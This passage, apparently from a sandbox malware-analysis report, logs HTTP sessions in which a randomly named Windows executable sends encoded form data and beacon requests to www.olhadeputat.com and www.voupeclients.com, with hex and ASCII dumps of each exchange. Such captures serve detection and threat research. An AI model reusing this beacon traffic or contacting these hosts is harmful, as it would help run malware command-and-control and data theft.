0d 6b b1 e5 b1 13 90 1a d9 ed 04 4a 97 29 82 2e 73 6c 32 44 4a 55 e5 5d d8 76 b7 b3 12 71 79 c8 a8 dc 30 ee bb 93 b5 e0 da 56 ec 2f fa ce 07 cc ea ed 9a 66 2c 2d fd 1f 28 63 ca 69 1f 3e 4a 46 d3 3e dc 61 5a a0 66 11 ed 83 a2 5c d9 0a 25 5b 4f 56 34 7a de 48 53 82 df 9b 57 cf e4 a5 db 59 33 4c [TRUNCATED] Data Ascii: 2a3To0~J!i-MIVG.vHX}2V}H}g9$:K3lB~g.o<'-YJ}Bv:Bn(5K[U'v;Ae\MXf)Z35rm/-'%TS}s3EL(t{6,X $Lb,kJ).sl2DJU]vqy0V/f,-(ci>JF>aZf\%[OV4zHSWY3Lc8f\|=x;+&maH{KgH*-r6s]_'t5-gab6GC90%Q>=<n>5srxUr4R4hARQ{+"o}+mTUnUP(a.I0 1+Mf:rF)UXap) H\|.JleP-PBB6+D3Q`N34oWH`4fT-e)]hR+UUc
Jul 3, 2024 17:38:28.196326971 CEST	12	IN	Data Raw: f3 aa 7f 40 f8 0f 00 00 ff ff 0d 0a Data Ascii: @
Jul 3, 2024 17:38:28.196336985 CEST	17	IN	Data Raw: 63 0d 0a e3 e5 02 00 c9 45 66 f6 dd 04 00 00 0d 0a Data Ascii: cEf
Jul 3, 2024 17:38:28.196383953 CEST	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.11.20	49804	172.67.146.224	80	7100	C:\Program Files (x86)\QDDYBUsOSIrUnKhQnRdQSkpzAmPBgXmqwzgPDIagYOtvjhNrDkkLmcM\jFlHFdZgIYNZqR.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:38:30.629728079 CEST	1131	OUT	POST /ieqg/ HTTP/1.1 Host: www.olhadeputat.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.olhadeputat.com Referer: http://www.olhadeputat.com/ieqg/ Content-Length: 539 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10 Data Raw: 76 58 3d 38 4d 77 54 4d 43 41 45 41 57 6d 68 79 35 68 34 75 39 6c 4e 61 59 61 35 4a 6c 44 61 58 53 34 2f 68 77 72 38 43 69 46 58 4b 61 6f 75 6a 6b 37 65 49 74 6b 56 6f 78 6a 67 45 70 4c 6d 71 50 62 35 48 59 4c 48 4d 64 59 68 54 43 57 4e 4f 64 51 70 4a 6a 31 35 75 66 66 58 67 38 35 54 6b 32 4c 6d 37 47 2b 38 4a 7a 48 44 4c 72 54 54 51 52 69 51 51 69 79 43 49 6d 57 6b 48 63 45 51 79 65 78 57 59 53 52 51 54 73 4d 72 48 4c 79 35 73 34 34 48 45 6b 70 45 6a 54 79 63 2f 77 64 71 45 6a 66 4e 35 74 44 31 71 55 78 54 79 32 53 44 2f 6f 36 6f 63 66 6e 6d 41 49 51 54 4b 4e 53 69 4b 6e 54 72 76 55 54 6b 46 34 43 48 32 78 47 53 53 44 49 41 58 78 2f 6f 50 48 67 73 44 44 47 56 71 47 6f 6c 45 4c 70 4d 63 57 61 63 43 52 71 6f 38 4c 55 35 56 69 6f 65 42 62 70 51 59 6a 30 53 6b 55 66 69 68 49 75 63 6a 70 6e 51 4e 63 43 57 69 44 74 6b 45 72 6c 2b 31 53 4c 77 32 47 73 76 56 53 41 64 4f 74 45 57 62 71 73 47 72 65 43 68 6e 64 44 5a 50 35 44 32 51 39 50 6f 4a 52 51 51 2f 44 67 6d 4d 34 33 4f 6f 76 4d 66 2f 4e 4f 46 4a 79 4d [TRUNCATED] Data Ascii: vX=8MwTMCAEAWmhy5h4u9lNaYa5JlDaXS4/hwr8CiFXKaoujk7eItkVoxjgEpLmqPb5HYLHMdYhTCWNOdQpJj15uffXg85Tk2Lm7G+8JzHDLrTTQRiQQiyCImWkHcEQyexWYSRQTsMrHLy5s44HEkpEjTyc/wdqEjfN5tD1qUxTy2SD/o6ocfnmAIQTKNSiKnTrvUTkF4CH2xGSSDIAXx/oPHgsDDGVqGolELpMcWacCRqo8LU5VioeBbpQYj0SkUfihIucjpnQNcCWiDtkErl+1SLw2GsvVSAdOtEWbqsGreChndDZP5D2Q9PoJRQQ/DgmM43OovMf/NOFJyMgk19mjqQBsDg3Am8y1SUXR2Y4qOoSox9rAERjXSpvGAmxAKarlGt8jJjM95MTSoX/04XmcccAGEgjulnSeQFKZtr0Og4y8dgDiEsVMstFeatkpR4SzSVsD//vMO7ysVmlw88SCfshAwQBLmtR3QW/uSG9fGjhlJimotSg7o25CquIV535InL0ISXd2Imjw5otbYGrDqY=
Jul 3, 2024 17:38:30.869544029 CEST	1289	IN	HTTP/1.1 404 Not Found Date: Wed, 03 Jul 2024 15:38:30 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close X-Powered-By: ASP.NET CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=p1jK54NQaEt9%2Bv7Nh1F4OqbZfDMN03EodjRGAd5%2BLfRUGpKR9Mvq8Inu5Vb6ltXgHIK5wOiiktP6CR7wXdQnSSl1gKXy2cLwt1PXmywpTc9wf9LanB37zR6aeOBFnpQIjgL6qUkq"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 89d7f685c9e8114d-ORD Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 Data Raw: 32 61 66 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8c 54 df 6f 9b 30 10 7e 8f 94 ff e1 4a d4 b7 80 21 69 ba 86 10 a4 2d 4d d4 49 ed 56 ad d9 af 47 07 2e c1 2a d8 cc 76 48 58 d4 ff 7d 32 10 92 56 7d 18 48 9c 7d fa be bb fb ce 67 82 8b db af b3 e5 ef c7 39 24 3a 4b e1 f1 fb a7 fb cf 33 b0 6c 42 7e 0e 67 84 dc 2e 6f e1 d7 dd f2 e1 1e 3c c7 85 27 2d 59 a4 09 99 7f b1 c0 4a b4 ce 7d 42 76 bb 9d b3 1b 3a 42 6e c8 f2 1b d9 9b 28 9e a1 35 4b 5b 55 1c 27 d6 b1 15 76 3b 41 95 65 9f a5 5c 4d df 89 e0 8d c7 e3 9a 58 83 91 c6 c6 66 a8 29 18 b4 8d 7f b6 ac 98 5a 33 c1 35 72 6d 2f cb 1c 2d 88 ea dd d4 d2 b8 d7 c4 b0 27 10 25 54 2a d4 53 a6 84 7d 73 33 1a db 9e 45 4c 28 cd 74 8a e1 95 7b 05 36 2c 58 8a 20 24 c4 4c 62 a4 85 2c 81 0b 0d 6b b1 e5 b1 13 90 1a d9 ed 04 4a 97 29 82 2e 73 6c 32 44 4a 55 e5 5d d8 76 b7 b3 12 71 79 c8 a8 dc 30 ee bb 93 b5 e0 da 56 ec 2f fa ce 07 cc ea ed 9a 66 2c 2d fd 1f 28 63 ca 69 1f 3e 4a 46 d3 3e dc 61 5a a0 66 11 ed 83 a2 5c d9 0a 25 5b 4f 56 34 7a de 48 53 82 df 9b 57 cf e4 a5 db 59 33 4c [TRUNCATED] Data Ascii: 2afTo0~J!i-MIVG.vHX}2V}H}g9$:K3lB~g.o<'-YJ}Bv:Bn(5K[U'v;Ae\MXf)Z35rm/-'%TS}s3EL(t{6,X $Lb,kJ).sl2DJU]vqy0V/f,-(ci>JF>aZf\%[OV4zHSWY3Lc8f\|=x;+&maH{KgH*-r6s]_'t5-gab6GC90%Q>=<n>5srxUr4R4hARQ{+"o}+mTUnUP(a.I0 1+Mf:rF)UXap) H\|.JleP-PBB6+D3Q`N34oWH`4fT-e)]hR+UUc@
Jul 3, 2024 17:38:30.869559050 CEST	18	IN	Data Raw: 00 00 ff ff e3 e5 02 00 c9 45 66 f6 dd 04 00 00 0d 0a Data Ascii: Ef
Jul 3, 2024 17:38:30.869570017 CEST	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.11.20	49805	172.67.146.224	80	7100	C:\Program Files (x86)\QDDYBUsOSIrUnKhQnRdQSkpzAmPBgXmqwzgPDIagYOtvjhNrDkkLmcM\jFlHFdZgIYNZqR.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:38:33.302954912 CEST	5156	OUT	POST /ieqg/ HTTP/1.1 Host: www.olhadeputat.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.olhadeputat.com Referer: http://www.olhadeputat.com/ieqg/ Content-Length: 52927 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10 Data Raw: 76 58 3d 38 4d 77 54 4d 43 41 45 41 57 6d 68 79 35 68 34 75 39 6c 4e 61 59 61 35 4a 6c 44 61 58 53 34 2f 68 77 72 38 43 69 46 58 4b 61 67 75 67 53 6e 65 4f 4f 63 56 72 78 6a 67 4b 4a 4c 6e 71 50 61 72 48 59 54 44 4d 64 6b 58 54 42 75 4e 50 4d 41 70 4a 51 64 35 69 2f 66 57 76 63 35 52 75 57 4c 49 37 47 79 6f 4a 7a 44 35 49 59 50 54 52 53 36 51 56 56 6d 46 47 57 57 59 48 63 45 4d 6a 4f 78 34 59 53 56 41 54 73 51 72 48 4a 32 35 73 4b 41 48 46 79 68 45 35 7a 79 62 30 51 64 66 4f 44 66 6f 35 74 58 68 71 55 78 44 79 33 6d 44 2f 76 4f 6f 64 59 7a 68 41 6f 51 54 4a 4e 53 68 41 48 66 33 76 56 37 73 46 37 65 48 32 32 61 53 54 6a 49 41 52 55 54 72 64 6e 67 71 53 7a 48 54 37 57 6b 39 45 4c 39 2b 63 54 69 63 42 68 75 6f 39 36 55 35 55 41 51 65 4d 62 70 4f 63 6a 30 37 78 45 66 45 68 49 65 36 6a 6f 48 6d 4e 63 6d 57 74 42 6c 6b 53 36 6c 35 7a 79 4b 35 6f 32 73 2b 52 53 63 72 4f 70 68 58 62 71 74 62 72 66 57 68 6e 73 7a 5a 4f 39 33 78 54 74 50 72 52 68 51 2f 6d 7a 73 34 4d 34 72 47 6f 76 6b 50 2f 4d 4b 46 50 69 4d [TRUNCATED] Data Ascii: vX=8MwTMCAEAWmhy5h4u9lNaYa5JlDaXS4/hwr8CiFXKagugSneOOcVrxjgKJLnqParHYTDMdkXTBuNPMApJQd5i/fWvc5RuWLI7GyoJzD5IYPTRS6QVVmFGWWYHcEMjOx4YSVATsQrHJ25sKAHFyhE5zyb0QdfODfo5tXhqUxDy3mD/vOodYzhAoQTJNShAHf3vV7sF7eH22aSTjIARUTrdngqSzHT7Wk9EL9+cTicBhuo96U5UAQeMbpOcj07xEfEhIe6joHmNcmWtBlkS6l5zyK5o2s+RScrOphXbqtbrfWhnszZO93xTtPrRhQ/mzs4M4rGovkP/MKFPiMgv2llpaQGkjh6d28l1SQ6R3NFp/USoCFrFURiTyooVgm7EKarlGgHjJvM9JkTUP7/k/jmeccOGEg+ul7XeR90ZtbSOmYy/JEDhGJDastcaat/tR0FzW1eD7bVP9vytV2lmM8RSvsiHwRaPmgO3Q7CuX6tfFThkMKx5/WIgJy7KIWBaKauClnfPUbR/fa2wo8QI6ybQcXmEHmF5/WFdd5Sn817sYYDwdrSvGC3uSETOApr/Da8IDlnhLLm244WjL5qg2JYFGVspZcyg9gLm2Rrix1b3jNKZtfy5IHw2GLU6/+gfcukZQbr1MY98GY3LQKUevSVX7gKPiDrG+uzIbwmrp8+UQNXXcW2e5AjApX8TyNwQk8SAmL8TbhhRJ9uERquObDw2lwaXq1dpU8VFAgbirrg4PF2J3XHT4dwUmopbrfKcGIpS53fF9PLtSpSPOjpMVMCL64UuLH+t51RVkIKeKwCDZblRIWAc6q/hTpu+Yk3MdyyENXVkNs78/toa/eeWwbYotLZhKMc9z7lRbHql3E5M2dIIgdKgsZV4lmBi8NN01ZQg2d0jCKQDbHPrnmEs9oEib0Cz4ljgJd6QD4lDSB6XYWJdwOHVN1AHAV9uLz0mKQzPMDaQHzRrxGuY7/R9vIpS8z8/dSK+6c6bgKS0q9E6QHNlyPkJ [TRUNCATED]
Jul 3, 2024 17:38:33.303030968 CEST	7734	OUT	Data Raw: 7a 78 38 56 42 61 48 34 39 6f 7a 33 48 44 61 42 77 74 70 79 44 52 64 32 31 44 34 55 76 66 66 47 37 4f 62 57 57 6d 4b 64 6c 6d 51 73 53 6b 76 79 4e 35 6d 41 38 78 7a 30 51 6f 63 4d 75 77 32 4b 64 73 70 46 76 4b 79 48 51 71 54 45 45 5a 41 65 72 31 Data Ascii: zx8VBaH49oz3HDaBwtpyDRd21D4UvffG7ObWWmKdlmQsSkvyN5mA8xz0QocMuw2KdspFvKyHQqTEEZAer1gL7/rCVQKT1LK148mnL93FaC3bgNdF28r+EwXdWiIzmsRixmvXgIx5dhFfEuvTbg1DJfZuiN1syk4QRQAi7w6PkOxdY42kcOjMdf6AkbyhGu/Ot0mmXzpaagGExn8uBJmCY9lJdUZeyf59sUoNB+icaNy7fAxHwsK
Jul 3, 2024 17:38:33.422760010 CEST	2578	OUT	Data Raw: 4d 69 6f 31 42 70 4a 43 50 57 76 32 48 39 64 45 79 54 66 58 49 30 72 71 70 61 39 69 77 69 6a 54 34 79 6a 4a 59 4c 2b 64 4c 38 64 2f 62 72 39 53 4a 6e 77 68 46 63 67 79 2b 63 7a 43 62 50 2f 48 59 32 70 41 66 5a 68 30 53 71 73 73 70 52 72 67 57 44 Data Ascii: Mio1BpJCPWv2H9dEyTfXI0rqpa9iwijT4yjJYL+dL8d/br9SJnwhFcgy+czCbP/HY2pAfZh0SqsspRrgWD6W0Tsl0K2Bamp+JfDioDztW8tb2ge8p7757a2SzHBYlEh4MH8JHs1dvG9VvKmqQd1cN5MjCNwayoC6oO6QHW13CKdSI05XyxU+QUetaqRrWGT88GJrwXZuQUvC2ko7daQmMzTCGqmGrDTd2xkOTOyMSY1m9e2G1n3
Jul 3, 2024 17:38:33.422909975 CEST	18046	OUT	Data Raw: 4b 41 74 59 38 4d 32 57 45 75 70 46 53 43 6e 50 42 5a 30 62 4b 59 54 53 54 32 43 49 41 71 6c 54 6d 4d 63 4a 6f 5a 54 72 69 50 2f 73 70 63 4d 70 4b 70 50 45 72 47 77 74 4e 78 6b 34 52 7a 66 6c 55 30 62 30 69 30 73 36 33 32 44 51 34 43 2b 70 74 61 Data Ascii: KAtY8M2WEupFSCnPBZ0bKYTST2CIAqlTmMcJoZTriP/spcMpKpPErGwtNxk4RzflU0b0i0s632DQ4C+pta9EhV/5Xuz1sow/9+TIrgUHpl2izYOJL0I+h+l1di59xRnU9JJ/h+5b2ipyNUS6h2X6ptszlrjG2b4t4ccDT5fztzun8Xyt3XpaE05Gi+p1QtF/HJqvLLJ2VoLf2GUNcgIHJi/38xI59uAofcNfKd2M3GOT+FZBHeW
Jul 3, 2024 17:38:33.423089027 CEST	2578	OUT	Data Raw: 6f 41 6f 30 56 50 48 43 39 58 67 67 43 4e 42 65 31 47 2f 47 33 2b 76 2f 6f 62 77 33 57 71 44 49 76 46 62 71 2b 69 65 73 66 48 59 59 45 44 6a 51 44 39 31 75 50 54 75 4d 79 70 30 30 53 5a 75 7a 61 4b 72 75 34 53 6c 42 52 55 39 6c 62 78 53 4b 36 65 Data Ascii: oAo0VPHC9XggCNBe1G/G3+v/obw3WqDIvFbq+iesfHYYEDjQD91uPTuMyp00SZuzaKru4SlBRU9lbxSK6exow3rlSAiaphTNHiZatljfFsxqqwpT3f0UgbyJdK3xMq5GZTy+QGSpst6s5wZXg94J+dL8+6PmBPwcmk9tz9fTDtRJMNA3IDA+6Ka8XQLGQczySnpoUueUAP2Mkv93VY4P1eirwG/Irf22PyPXa1Q9HGEwLTQLjBb
Jul 3, 2024 17:38:33.423257113 CEST	2578	OUT	Data Raw: 4d 5a 52 33 57 76 2f 36 79 75 44 2f 70 68 71 63 61 38 51 64 42 79 73 2b 41 52 59 69 31 55 61 39 75 61 30 77 4e 34 65 68 78 58 78 4e 36 68 52 74 49 41 74 55 73 70 67 54 5a 75 63 76 7a 4e 5a 6b 73 2b 49 51 56 41 4e 6d 42 42 65 46 38 68 51 4c 4f 35 Data Ascii: MZR3Wv/6yuD/phqca8QdBys+ARYi1Ua9ua0wN4ehxXxN6hRtIAtUspgTZucvzNZks+IQVANmBBeF8hQLO5bMPTSprbeItN0+IRWN7Tk+EbrTXyK69jbTWtMUz6F3hifK/W+DEwmBdAsuJwloD69vqUV+mzL6tkZAenf9LOuLlVhilqznpAhwYmIm/kn0ctNwq2CZ/Dn5oF7XL6m6jbUccfxH8lN2kPOYDasjykkG+MLitNeMcc1
Jul 3, 2024 17:38:33.541802883 CEST	2578	OUT	Data Raw: 31 2b 6c 51 77 4f 53 75 39 7a 6b 33 4a 48 4f 37 42 54 2b 6b 58 39 59 59 41 44 59 66 2b 4c 31 47 6f 49 58 72 72 57 6c 71 6d 39 64 32 65 44 67 67 6d 56 74 56 47 4d 52 33 2b 44 56 55 33 76 71 49 61 4b 58 4f 71 57 4d 6c 66 46 34 6b 38 51 48 72 37 2f Data Ascii: 1+lQwOSu9zk3JHO7BT+kX9YYADYf+L1GoIXrrWlqm9d2eDggmVtVGMR3+DVU3vqIaKXOqWMlfF4k8QHr7/19OfhwerZYZMlMzXUhfTfvPioVQNfowHVGeiTPs6RhdTIXg6rBlnj/AkSqAengp9snicLsMkuRl6Tgn9WwNOuv+eCwxRtlK50/9dx0pnyDd/4WvDM/Dad2L9izjzmdS5vbdq924zpyQOe9QuSNv70GMyzSh8iicur
Jul 3, 2024 17:38:33.541974068 CEST	7734	OUT	Data Raw: 71 67 77 65 4e 6a 34 48 6f 53 46 54 66 78 6c 7a 50 74 7a 4e 47 4c 79 6e 48 71 33 78 36 66 43 51 47 38 48 72 58 4f 4b 65 75 47 6a 6b 79 41 67 4d 75 36 37 55 6b 42 38 43 4e 62 55 4a 34 2f 73 33 54 57 57 2f 64 78 50 79 2f 74 2b 66 66 73 4c 47 66 47 Data Ascii: qgweNj4HoSFTfxlzPtzNGLynHq3x6fCQG8HrXOKeuGjkyAgMu67UkB8CNbUJ4/s3TWW/dxPy/t+ffsLGfGlWWRuJp+4AEWni9J/tEnHL2BrSpj93SKPg6GMs/1L1GDmWNchvrFnVp0ZqG9Hss7hFNIekV4Jy2nzIrshuPJx01u3pcxakcu4wXsnpPey+aZKi3hGQC1HV37AMbhAWacl9/q5mU3kVv9nVCccG3vTejSZkga8BC3f
Jul 3, 2024 17:38:33.542113066 CEST	4546	OUT	Data Raw: 48 51 6f 69 44 52 52 78 58 47 4d 6e 37 58 67 4d 2b 4a 68 39 77 49 59 70 31 64 66 58 69 6a 78 6c 63 31 57 56 62 76 2b 74 4e 79 64 61 79 57 45 5a 45 46 47 6c 6f 4e 33 6b 6c 73 56 50 65 73 4b 6d 63 39 2f 7a 44 4b 31 53 55 54 41 63 68 74 41 4e 4e 35 Data Ascii: HQoiDRRxXGMn7XgM+Jh9wIYp1dfXijxlc1WVbv+tNydayWEZEFGloN3klsVPesKmc9/zDK1SUTAchtANN5n2P03RItL9eemJo3yn+plemiW4/H/nNRiFOEXAAMLTiNuxYc6nhOPtbboWRlJHo14QNZj3gleLjyFMq131FQQsPGzbjHLa9rY9pYsU3Wu1VPYr39o+vI5+YJhHYpje0iYjln8f+AgSVVE9cU/YUCpVBXvwxhedlMH
Jul 3, 2024 17:38:33.806667089 CEST	1289	IN	HTTP/1.1 404 Not Found Date: Wed, 03 Jul 2024 15:38:33 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close X-Powered-By: ASP.NET CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=af3yOc4FsGEsXja9rF3cTz%2Bz0sDDk6LAUq7u1aqqzadAb1mg4Nh4IFGrVkbRovh13cJjFeul137wPcXslkVRRWKQA0a7tsQkusFJc%2B3wERR2tI%2BqQn89EScdZ0bZV47rPpKZUo3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 89d7f6967c1861bb-ORD Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 Data Raw: 32 61 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8c 54 df 6f 9b 30 10 7e 8f 94 ff e1 4a d4 b7 80 21 69 ba 86 10 a4 2d 4d d4 49 ed 56 ad d9 af 47 07 2e c1 2a d8 cc 76 48 58 d4 ff 7d 32 10 92 56 7d 18 48 9c 7d fa be bb fb ce 67 82 8b db af b3 e5 ef c7 39 24 3a 4b e1 f1 fb a7 fb cf 33 b0 6c 42 7e 0e 67 84 dc 2e 6f e1 d7 dd f2 e1 1e 3c c7 85 27 2d 59 a4 09 99 7f b1 c0 4a b4 ce 7d 42 76 bb 9d b3 1b 3a 42 6e c8 f2 1b d9 9b 28 9e a1 35 4b 5b 55 1c 27 d6 b1 15 76 3b 41 95 65 9f a5 5c 4d df 89 e0 8d c7 e3 9a 58 83 91 c6 c6 66 a8 29 18 b4 8d 7f b6 ac 98 5a 33 c1 35 72 6d 2f cb 1c 2d 88 ea dd d4 d2 b8 d7 c4 b0 27 10 25 54 2a d4 53 a6 84 7d 73 33 1a db 9e 45 4c 28 cd 74 8a e1 95 7b 05 36 2c 58 8a 20 24 c4 4c 62 a4 85 2c 81 0b 0d 6b b1 e5 b1 13 90 1a d9 ed 04 4a 97 29 82 2e 73 6c 32 44 4a 55 e5 5d d8 76 b7 b3 12 71 79 c8 a8 dc 30 ee bb 93 b5 e0 da 56 ec 2f fa ce 07 cc ea ed 9a 66 2c 2d fd 1f 28 63 ca 69 1f 3e 4a 46 d3 3e dc 61 5a a0 66 11 ed 83 a2 5c d9 0a 25 5b 4f 56 34 7a de 48 53 82 df 9b 57 cf e4 a5 db 59 33 4c [TRUNCATED] Data Ascii: 2a3To0~J!i-MIVG.vHX}2V}H}g9$:K3lB~g.o<'-YJ}Bv:Bn(5K[U'v;Ae\MXf)Z35rm/-'%TS}s3EL(t{6,X $Lb,kJ).sl2DJU]vqy0V/f,-(ci>JF>aZf\%[OV4zHSWY3Lc8f\|=x;+&maH{KgH*-r6s]_'t5-gab6GC90%Q>=<n>5srxUr4R4hARQ{+"o}+mTUnUP(a.I0 1+Mf:rF)UXap) H\|.JleP-PBB6+D3Q`N34oWH`4fT-e)]hR+UUc@
Jul 3, 2024 17:38:33.806680918 CEST	8	IN	Data Raw: f8 0f 00 00 ff ff 0d 0a Data Ascii:
Jul 3, 2024 17:38:33.806690931 CEST	22	IN	Data Raw: 63 0d 0a e3 e5 02 00 c9 45 66 f6 dd 04 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: cEf0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.11.20	49806	172.67.146.224	80	7100	C:\Program Files (x86)\QDDYBUsOSIrUnKhQnRdQSkpzAmPBgXmqwzgPDIagYOtvjhNrDkkLmcM\jFlHFdZgIYNZqR.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:38:35.975142002 CEST	523	OUT	GET /ieqg/?vX=xOYzP3dXeV68t5l1tdRGSaa1OFHMEwYl9QyrCyFOBp5kwxTuFOJ28A7LPoPnjOnXE6vKLrR6BAa5LOtmMQtvuaXLo91Bunju73veWhfgD7rjWCO2fFDcACU=&_B7=LxyxWrj8kri0gh HTTP/1.1 Host: www.olhadeputat.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10
Jul 3, 2024 17:38:36.214675903 CEST	1289	IN	HTTP/1.1 404 Not Found Date: Wed, 03 Jul 2024 15:38:36 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close X-Powered-By: ASP.NET CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MqKTcn9iGMHyHMMA3WPH6z2vazS6V8iwTQZTLDlA6l05ZPCJUi%2BR3ZtfgHtDA4YrtNBqlJzzRC7EMqINVOhUSLacE49X8B3XPnbj4BfHYW2%2BcKsXBue3dVqFDhyXtZX%2FEha9yDR5"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 89d7f6a73d6be17c-ORD alt-svc: h3=":443"; ma=86400 Data Raw: 34 64 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a [TRUNCATED] Data Ascii: 4dd<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>404 - File or directory not found.</title><style type="text/css">...body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana
Jul 3, 2024 17:38:36.214689970 CEST	554	IN	Data Raw: 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 Data Ascii: , sans-serif;color:#FFF;background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}--></style></head><body><div id="header">
Jul 3, 2024 17:38:36.214701891 CEST	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.11.20	49807	44.227.65.245	80	7100	C:\Program Files (x86)\QDDYBUsOSIrUnKhQnRdQSkpzAmPBgXmqwzgPDIagYOtvjhNrDkkLmcM\jFlHFdZgIYNZqR.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:38:41.597037077 CEST	794	OUT	POST /ouk5/ HTTP/1.1 Host: www.voupeclients.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.voupeclients.com Referer: http://www.voupeclients.com/ouk5/ Content-Length: 199 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10 Data Raw: 76 58 3d 43 4a 2b 31 53 55 75 4d 34 50 50 4d 61 59 35 46 38 49 74 53 56 75 36 4e 6d 54 33 73 35 38 5a 76 39 6a 69 56 46 5a 68 61 71 75 4b 64 36 4b 4d 47 67 68 54 32 70 45 2b 57 4e 45 